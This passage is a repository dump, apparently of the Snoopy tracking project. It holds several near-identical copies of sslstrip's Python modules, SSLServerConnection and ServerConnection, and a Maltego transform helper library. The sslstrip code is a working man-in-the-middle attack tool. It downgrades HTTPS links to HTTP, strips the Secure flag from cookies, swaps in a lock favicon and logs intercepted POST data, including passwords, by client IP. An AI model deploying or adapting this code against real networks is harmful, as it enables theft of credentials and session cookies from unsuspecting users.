90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/SSLServerConnection.py~: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, headers, client): 38 | self.client = client 39 | ServerConnection.__init__(self, command, uri, postData, headers, client) 40 | 41 | def getLogLevel(self): 42 | return logging.INFO 43 | 44 | def getPostPrefix(self): 45 | return "SECURE POST" 46 | 47 | def handleHeader(self, key, value): 48 | if (key.lower() == 'set-cookie'): 49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 50 | 51 | ServerConnection.handleHeader(self, key, value) 52 | 53 | def stripFileFromPath(self, path): 54 | (strippedPath, lastSlash, file) = path.rpartition('/') 55 | return strippedPath 56 | 57 | def buildAbsoluteLink(self, link): 58 | absoluteLink = "" 59 | 60 | if ((not link.startswith('http')) and (not link.startswith('/'))): 61 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 62 | 63 | logging.debug("Found path-relative link in secure transmission: " + link % (self.client.getClientIP())) 64 | logging.debug("New Absolute path-relative link: " + absoluteLink % (self.clien.getClientIP())) 65 | elif not link.startswith('http'): 66 | absoluteLink = "http://"+self.headers['host']+link 67 | 68 | logging.debug("Found relative link in secure transmission: " + link % (self.client.getClientIP())) 69 | logging.debug("New Absolute link: " + absoluteLink % (self.client.getClientIP())) 70 | 71 | if not absoluteLink == "": 72 | absoluteLink = absoluteLink.replace('&', '&') 73 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 74 | 75 | def replaceCssLinks(self, data): 76 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 77 | 78 | for match in iterator: 79 | self.buildAbsoluteLink(match.group(1)) 80 | 81 | return data 82 | 83 | def replaceFavicon(self, data): 84 | match = re.search(SSLServerConnection.iconExpression, data) 85 | 86 | if (match != None): 87 | data = re.sub(SSLServerConnection.iconExpression, 88 | "", data) 89 | else: 90 | data = re.sub(SSLServerConnection.headExpression, 91 | "", data) 92 | 93 | return data 94 | 95 | def replaceSecureLinks(self, data): 96 | data = ServerConnection.replaceSecureLinks(self, data) 97 | data = self.replaceCssLinks(data) 98 | 99 | if (self.urlMonitor.isFaviconSpoofing()): 100 | data = self.replaceFavicon(data) 101 | 102 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 103 | 104 | for match in iterator: 105 | self.buildAbsoluteLink(match.group(10)) 106 | 107 | return data 108 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, headers, client): 38 | self.client = client 39 | ServerConnection.__init__(self, command, uri, postData, headers, client) 40 | 41 | def getLogLevel(self): 42 | return logging.INFO 43 | 44 | def getPostPrefix(self): 45 | return "SECURE POST" 46 | 47 | def handleHeader(self, key, value): 48 | if (key.lower() == 'set-cookie'): 49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 50 | 51 | ServerConnection.handleHeader(self, key, value) 52 | 53 | def stripFileFromPath(self, path): 54 | (strippedPath, lastSlash, file) = path.rpartition('/') 55 | return strippedPath 56 | 57 | def buildAbsoluteLink(self, link): 58 | absoluteLink = "" 59 | 60 | if ((not link.startswith('http')) and (not link.startswith('/'))): 61 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 62 | 63 | # logging.debug("Client:%s Found path-relative link in secure transmission: " + link % (self.client.getClientIP())) 64 | # logging.debug("Client:%s New Absolute path-relative link: " + absoluteLink % (self.clien.getClientIP())) 65 | elif not link.startswith('http'): 66 | absoluteLink = "http://"+self.headers['host']+link 67 | 68 | # logging.debug("Client:%s Found relative link in secure transmission: " + link % (self.client.getClientIP())) 69 | # logging.debug("Client:%s New Absolute link: " + absoluteLink % (self.client.getClientIP())) 70 | 71 | if not absoluteLink == "": 72 | absoluteLink = absoluteLink.replace('&', '&') 73 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 74 | 75 | def replaceCssLinks(self, data): 76 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 77 | 78 | for match in iterator: 79 | self.buildAbsoluteLink(match.group(1)) 80 | 81 | return data 82 | 83 | def replaceFavicon(self, data): 84 | match = re.search(SSLServerConnection.iconExpression, data) 85 | 86 | if (match != None): 87 | data = re.sub(SSLServerConnection.iconExpression, 88 | "", data) 89 | else: 90 | data = re.sub(SSLServerConnection.headExpression, 91 | "", data) 92 | 93 | return data 94 | 95 | def replaceSecureLinks(self, data): 96 | data = ServerConnection.replaceSecureLinks(self, data) 97 | data = self.replaceCssLinks(data) 98 | 99 | if (self.urlMonitor.isFaviconSpoofing()): 100 | data = self.replaceFavicon(data) 101 | 102 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 103 | 104 | for match in iterator: 105 | self.buildAbsoluteLink(match.group(10)) 106 | 107 | return data 108 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, headers, client): 38 | self.client = client 39 | ServerConnection.__init__(self, command, uri, postData, headers, client) 40 | 41 | def getLogLevel(self): 42 | return logging.INFO 43 | 44 | def getPostPrefix(self): 45 | return "SECURE POST" 46 | 47 | def handleHeader(self, key, value): 48 | if (key.lower() == 'set-cookie'): 49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 50 | 51 | ServerConnection.handleHeader(self, key, value) 52 | 53 | def stripFileFromPath(self, path): 54 | (strippedPath, lastSlash, file) = path.rpartition('/') 55 | return strippedPath 56 | 57 | def buildAbsoluteLink(self, link): 58 | absoluteLink = "" 59 | 60 | if ((not link.startswith('http')) and (not link.startswith('/'))): 61 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 62 | 63 | logging.debug("Client:%s Found path-relative link in secure transmission: " + link % (self.client.getClientIP())) 64 | logging.debug("Client:%s New Absolute path-relative link: " + absoluteLink % (self.clien.getClientIP())) 65 | elif not link.startswith('http'): 66 | absoluteLink = "http://"+self.headers['host']+link 67 | 68 | logging.debug("Client:%s Found relative link in secure transmission: " + link % (self.client.getClientIP())) 69 | logging.debug("Client:%s New Absolute link: " + absoluteLink % (self.client.getClientIP())) 70 | 71 | if not absoluteLink == "": 72 | absoluteLink = absoluteLink.replace('&', '&') 73 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 74 | 75 | def replaceCssLinks(self, data): 76 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 77 | 78 | for match in iterator: 79 | self.buildAbsoluteLink(match.group(1)) 80 | 81 | return data 82 | 83 | def replaceFavicon(self, data): 84 | match = re.search(SSLServerConnection.iconExpression, data) 85 | 86 | if (match != None): 87 | data = re.sub(SSLServerConnection.iconExpression, 88 | "", data) 89 | else: 90 | data = re.sub(SSLServerConnection.headExpression, 91 | "", data) 92 | 93 | return data 94 | 95 | def replaceSecureLinks(self, data): 96 | data = ServerConnection.replaceSecureLinks(self, data) 97 | data = self.replaceCssLinks(data) 98 | 99 | if (self.urlMonitor.isFaviconSpoofing()): 100 | data = self.replaceFavicon(data) 101 | 102 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 103 | 104 | for match in iterator: 105 | self.buildAbsoluteLink(match.group(10)) 106 | 107 | return data 108 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnection.py~: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string, random, zlib, gzip, StringIO 20 | 21 | from twisted.web.http import HTTPClient 22 | from URLMonitor import URLMonitor 23 | 24 | class ServerConnection(HTTPClient): 25 | 26 | ''' The server connection is where we do the bulk of the stripping. Everything that 27 | comes back is examined. The headers we dont like are removed, and the links are stripped 28 | from HTTPS to HTTP. 29 | ''' 30 | 31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) 32 | urlType = re.compile(r"https://", re.IGNORECASE) 33 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 34 | 35 | def __init__(self, command, uri, postData, headers, client): 36 | self.command = command 37 | self.uri = uri 38 | self.postData = postData 39 | self.headers = headers 40 | self.client = client 41 | self.urlMonitor = URLMonitor.getInstance() 42 | self.isImageRequest = False 43 | self.isCompressed = False 44 | self.contentLength = None 45 | self.shutdownComplete = False 46 | print self.client 47 | 48 | def getLogLevel(self): 49 | return logging.DEBUG 50 | 51 | def getPostPrefix(self): 52 | return "POST" 53 | 54 | def sendRequest(self): 55 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) 56 | self.sendCommand(self.command, self.uri) 57 | 58 | def sendHeaders(self): 59 | for header, value in self.headers.items(): 60 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) 61 | self.sendHeader(header, value) 62 | 63 | self.endHeaders() 64 | 65 | def sendPostData(self): 66 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) 67 | print self.client 68 | self.transport.write(self.postData) 69 | 70 | def connectionMade(self): 71 | logging.log(self.getLogLevel(), "HTTP connection made.") 72 | self.sendRequest() 73 | self.sendHeaders() 74 | 75 | if (self.command == 'POST'): 76 | self.sendPostData() 77 | 78 | def handleStatus(self, version, code, message): 79 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) 80 | self.client.setResponseCode(int(code), message) 81 | 82 | def handleHeader(self, key, value): 83 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) 84 | 85 | if (key.lower() == 'location'): 86 | value = self.replaceSecureLinks(value) 87 | 88 | if (key.lower() == 'content-type'): 89 | if (value.find('image') != -1): 90 | self.isImageRequest = True 91 | logging.debug("Response is image content, not scanning...") 92 | 93 | if (key.lower() == 'content-encoding'): 94 | if (value.find('gzip') != -1): 95 | logging.debug("Response is compressed...") 96 | self.isCompressed = True 97 | elif (key.lower() == 'content-length'): 98 | self.contentLength = value 99 | elif (key.lower() == 'set-cookie'): 100 | self.client.responseHeaders.addRawHeader(key, value) 101 | else: 102 | self.client.setHeader(key, value) 103 | 104 | def handleEndHeaders(self): 105 | if (self.isImageRequest and self.contentLength != None): 106 | self.client.setHeader("Content-Length", self.contentLength) 107 | 108 | if self.length == 0: 109 | self.shutdown() 110 | 111 | def handleResponsePart(self, data): 112 | if (self.isImageRequest): 113 | self.client.write(data) 114 | else: 115 | HTTPClient.handleResponsePart(self, data) 116 | 117 | def handleResponseEnd(self): 118 | if (self.isImageRequest): 119 | self.shutdown() 120 | else: 121 | HTTPClient.handleResponseEnd(self) 122 | 123 | def handleResponse(self, data): 124 | if (self.isCompressed): 125 | logging.debug("Decompressing content...") 126 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() 127 | 128 | logging.log(self.getLogLevel(), "Read from server:\n" + data) 129 | 130 | data = self.replaceSecureLinks(data) 131 | 132 | if (self.contentLength != None): 133 | self.client.setHeader('Content-Length', len(data)) 134 | 135 | self.client.write(data) 136 | self.shutdown() 137 | 138 | def replaceSecureLinks(self, data): 139 | iterator = re.finditer(ServerConnection.urlExpression, data) 140 | 141 | for match in iterator: 142 | url = match.group() 143 | 144 | logging.debug("Found secure reference: " + url) 145 | 146 | url = url.replace('https://', 'http://', 1) 147 | url = url.replace('&', '&') 148 | self.urlMonitor.addSecureLink(self.client.getClientIP(), url) 149 | 150 | data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) 151 | return re.sub(ServerConnection.urlType, 'http://', data) 152 | 153 | def shutdown(self): 154 | if not self.shutdownComplete: 155 | self.shutdownComplete = True 156 | self.client.finish() 157 | self.transport.loseConnection() 158 | 159 | 160 | -------------------------------------------------------------------------------- /snoopy/server/transforms/Maltego.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # This might be horrible code... 4 | # ...but it works 5 | # Feel free to re-write in a better way 6 | # And if you want to - send it to us, we'll update ;) 7 | # maltego@paterva.com (2010/10/18) 8 | # 9 | import sys 10 | from xml.dom import minidom 11 | 12 | class MaltegoEntity(object): 13 | value = ""; 14 | weight = 100; 15 | displayInformation = ""; 16 | additionalFields = []; 17 | iconURL = ""; 18 | entityType = "Phrase" 19 | 20 | def __init__(self,eT=None,v=None): 21 | if (eT is not None): 22 | self.entityType = eT; 23 | if (v is not None): 24 | self.value = v; 25 | self.additionalFields = None; 26 | self.additionalFields = []; 27 | self.weight = 100; 28 | self.displayInformation = ""; 29 | self.iconURL = ""; 30 | 31 | def setType(self,eT=None): 32 | if (eT is not None): 33 | self.entityType = eT; 34 | 35 | def setValue(self,eV=None): 36 | if (eV is not None): 37 | self.value = eV; 38 | 39 | def setWeight(self,w=None): 40 | if (w is not None): 41 | self.weight = w; 42 | 43 | def setDisplayInformation(self,di=None): 44 | if (di is not None): 45 | self.displayInformation = di; 46 | 47 | def addAdditionalFields(self,fieldName=None,displayName=None,matchingRule=False,value=None): 48 | self.additionalFields.append([fieldName,displayName,matchingRule,value]); 49 | 50 | def setIconURL(self,iU=None): 51 | if (iU is not None): 52 | self.iconURL = iU; 53 | 54 | def returnEntity(self): 55 | print ""; 56 | print "" + str(self.value) + ""; 57 | print "" + str(self.weight) + ""; 58 | if (self.displayInformation is not None): 59 | print ""; 60 | if (len(self.additionalFields) > 0): 61 | print ""; 62 | for i in range(len(self.additionalFields)): 63 | if (str(self.additionalFields[i][2]) <> "strict"): 64 | print "" + str(self.additionalFields[i][3]) + ""; 65 | else: 66 | print "" + str(self.additionalFields[i][3]) + ""; 67 | print ""; 68 | if (len(self.iconURL) > 0): 69 | print "" + self.iconURL + ""; 70 | print ""; 71 | 72 | 73 | 74 | 75 | 76 | 77 | class MaltegoTransform(object): 78 | entities = [] 79 | exceptions = [] 80 | UIMessages = [] 81 | 82 | #def __init__(self): 83 | #empty. 84 | 85 | def addEntity(self,enType,enValue): 86 | me = MaltegoEntity(enType,enValue); 87 | self.addEntityToMessage(me); 88 | return self.entities[len(self.entities)-1]; 89 | 90 | def addEntityToMessage(self,maltegoEntity): 91 | self.entities.append(maltegoEntity); 92 | 93 | def addUIMessage(self,message,messageType="Inform"): 94 | self.UIMessages.append([messageType,message]); 95 | 96 | def addException(self,exceptionString): 97 | self.exceptions.append(exceptionString); 98 | 99 | def throwExceptions(self): 100 | print ""; 101 | print ""; 102 | print "" 103 | 104 | for i in range(len(self.exceptions)): 105 | print "" + self.exceptions[i] + ""; 106 | print "" 107 | print ""; 108 | print ""; 109 | 110 | def returnOutput(self): 111 | print ""; 112 | print ""; 113 | 114 | print "" 115 | for i in range(len(self.entities)): 116 | self.entities[i].returnEntity(); 117 | print "" 118 | 119 | print "" 120 | for i in range(len(self.UIMessages)): 121 | print "" + self.UIMessages[i][1] + ""; 122 | print "" 123 | 124 | print ""; 125 | print ""; 126 | 127 | def writeSTDERR(self,msg): 128 | sys.stderr.write(str(msg)); 129 | 130 | def heartbeat(self): 131 | self.writeSTDERR("+"); 132 | 133 | def progress(self,percent): 134 | self.writeSTDERR("%" + str(percent)); 135 | 136 | def debug(self,msg): 137 | self.writeSTDERR("D:" + str(msg)); 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | class MaltegoMsg: 146 | 147 | def __init__(self,MaltegoXML=""): 148 | 149 | xmldoc = minidom.parseString(MaltegoXML) 150 | 151 | #read the easy stuff like value, limits etc 152 | self.Value = self.i_getNodeValue(xmldoc,"Value") 153 | self.Weight = self.i_getNodeValue(xmldoc,"Weight") 154 | self.Slider = self.i_getNodeAttributeValue(xmldoc,"Limits","SoftLimit") 155 | self.Type = self.i_getNodeAttributeValue(xmldoc,"Entity","Type") 156 | 157 | 158 | #read additional fields 159 | AdditionalFields = {} 160 | try: 161 | AFNodes= xmldoc.getElementsByTagName("AdditionalFields")[0] 162 | Settings = AFNodes.getElementsByTagName("Field") 163 | for node in Settings: 164 | AFName = node.attributes["Name"].value; 165 | AFValue = self.i_getText(node.childNodes); 166 | AdditionalFields[AFName] = AFValue 167 | except: 168 | #sure this is not the right way...;) 169 | dontcare=1 170 | 171 | 172 | #parse transform settings 173 | TransformSettings = {} 174 | try: 175 | TSNodes= xmldoc.getElementsByTagName("TransformFields")[0] 176 | Settings = TSNodes.getElementsByTagName("Field") 177 | for node in Settings: 178 | TSName = node.attributes["Name"].value; 179 | TSValue = self.i_getText(node.childNodes); 180 | TransformSettings[TSName] = TSValue 181 | except: 182 | dontcare=1 183 | 184 | #load back into object 185 | self.AdditionalFields = AdditionalFields 186 | self.TransformSettings = TransformSettings 187 | 188 | def i_getText(self,nodelist): 189 | rc = [] 190 | for node in nodelist: 191 | if node.nodeType == node.TEXT_NODE: 192 | rc.append(node.data) 193 | return ''.join(rc) 194 | 195 | 196 | def i_getNodeValue(self,node,Tag): 197 | return self.i_getText(node.getElementsByTagName(Tag)[0].childNodes) 198 | 199 | def i_getNodeAttributeValue(self,node,Tag,Attribute): 200 | return node.getElementsByTagName(Tag)[0].attributes[Attribute].value; 201 | 202 | 203 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/ServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string, random, zlib, gzip, StringIO 20 | 21 | from twisted.web.http import HTTPClient 22 | from URLMonitor import URLMonitor 23 | 24 | class ServerConnection(HTTPClient): 25 | 26 | ''' The server connection is where we do the bulk of the stripping. Everything that 27 | comes back is examined. The headers we dont like are removed, and the links are stripped 28 | from HTTPS to HTTP. 29 | ''' 30 | 31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) 32 | urlType = re.compile(r"https://", re.IGNORECASE) 33 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 34 | 35 | def __init__(self, command, uri, postData, headers, client): 36 | self.command = command 37 | self.uri = uri 38 | self.postData = postData 39 | self.headers = headers 40 | self.client = client 41 | self.urlMonitor = URLMonitor.getInstance() 42 | self.isImageRequest = False 43 | self.isCompressed = False 44 | self.contentLength = None 45 | self.shutdownComplete = False 46 | print self.client 47 | 48 | def getLogLevel(self): 49 | return logging.DEBUG 50 | 51 | def getPostPrefix(self): 52 | return "POST" 53 | 54 | def sendRequest(self): 55 | logging.log(self.getLogLevel(), "Client:%s Sending Request: %s %s" % (self.client.getClientIP(), self.command, self.uri)) 56 | self.sendCommand(self.command, self.uri) 57 | 58 | def sendHeaders(self): 59 | for header, value in self.headers.items(): 60 | logging.log(self.getLogLevel(), "Client:%s Sending header: %s : %s" % (self.client.getClientIP(), header, value)) 61 | self.sendHeader(header, value) 62 | 63 | self.endHeaders() 64 | 65 | def sendPostData(self): 66 | logging.warning("Client:" + self.client.getClientIP() + " " + self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) 67 | self.transport.write(self.postData) 68 | 69 | def connectionMade(self): 70 | logging.log(self.getLogLevel(), "Client:%s HTTP connection made." % (self.client.getClientIP())) 71 | self.sendRequest() 72 | self.sendHeaders() 73 | 74 | if (self.command == 'POST'): 75 | self.sendPostData() 76 | 77 | def handleStatus(self, version, code, message): 78 | logging.log(self.getLogLevel(), "Client:%s Got server response: %s %s %s" % (self.client.getClientIP(), version, code, message)) 79 | self.client.setResponseCode(int(code), message) 80 | 81 | def handleHeader(self, key, value): 82 | logging.log(self.getLogLevel(), "Client:%s Got server header: %s:%s" % (self.client.getClientIP(), key, value)) 83 | 84 | if (key.lower() == 'location'): 85 | value = self.replaceSecureLinks(value) 86 | 87 | if (key.lower() == 'content-type'): 88 | if (value.find('image') != -1): 89 | self.isImageRequest = True 90 | logging.debug("Client:%s Response is image content, not scanning..." % (self.client.getClientIP())) 91 | 92 | if (key.lower() == 'content-encoding'): 93 | if (value.find('gzip') != -1): 94 | logging.debug("Client:%s Response is compressed..." % (self.client.getClientIP())) 95 | self.isCompressed = True 96 | elif (key.lower() == 'content-length'): 97 | self.contentLength = value 98 | elif (key.lower() == 'set-cookie'): 99 | self.client.responseHeaders.addRawHeader(key, value) 100 | else: 101 | self.client.setHeader(key, value) 102 | 103 | def handleEndHeaders(self): 104 | if (self.isImageRequest and self.contentLength != None): 105 | self.client.setHeader("Content-Length", self.contentLength) 106 | 107 | if self.length == 0: 108 | self.shutdown() 109 | 110 | def handleResponsePart(self, data): 111 | if (self.isImageRequest): 112 | self.client.write(data) 113 | else: 114 | HTTPClient.handleResponsePart(self, data) 115 | 116 | def handleResponseEnd(self): 117 | if (self.isImageRequest): 118 | self.shutdown() 119 | else: 120 | HTTPClient.handleResponseEnd(self) 121 | 122 | def handleResponse(self, data): 123 | if (self.isCompressed): 124 | logging.debug("Client:%s Decompressing content..." % (self.client.getClientIP())) 125 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() 126 | 127 | logging.log(self.getLogLevel(), "Client:" + self.client.getClientIP() + " Read from server:\n" + data) 128 | 129 | data = self.replaceSecureLinks(data) 130 | 131 | if (self.contentLength != None): 132 | self.client.setHeader('Content-Length', len(data)) 133 | 134 | self.client.write(data) 135 | self.shutdown() 136 | 137 | def replaceSecureLinks(self, data): 138 | iterator = re.finditer(ServerConnection.urlExpression, data) 139 | 140 | for match in iterator: 141 | url = match.group() 142 | 143 | logging.debug("Client:" + self.client.getClientIP() + " Found secure reference: " + url) 144 | 145 | url = url.replace('https://', 'http://', 1) 146 | url = url.replace('&', '&') 147 | self.urlMonitor.addSecureLink(self.client.getClientIP(), url) 148 | 149 | data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) 150 | return re.sub(ServerConnection.urlType, 'http://', data) 151 | 152 | def shutdown(self): 153 | if not self.shutdownComplete: 154 | self.shutdownComplete = True 155 | self.client.finish() 156 | self.transport.loseConnection() 157 | 158 | 159 | --------------------------------------------------------------------------------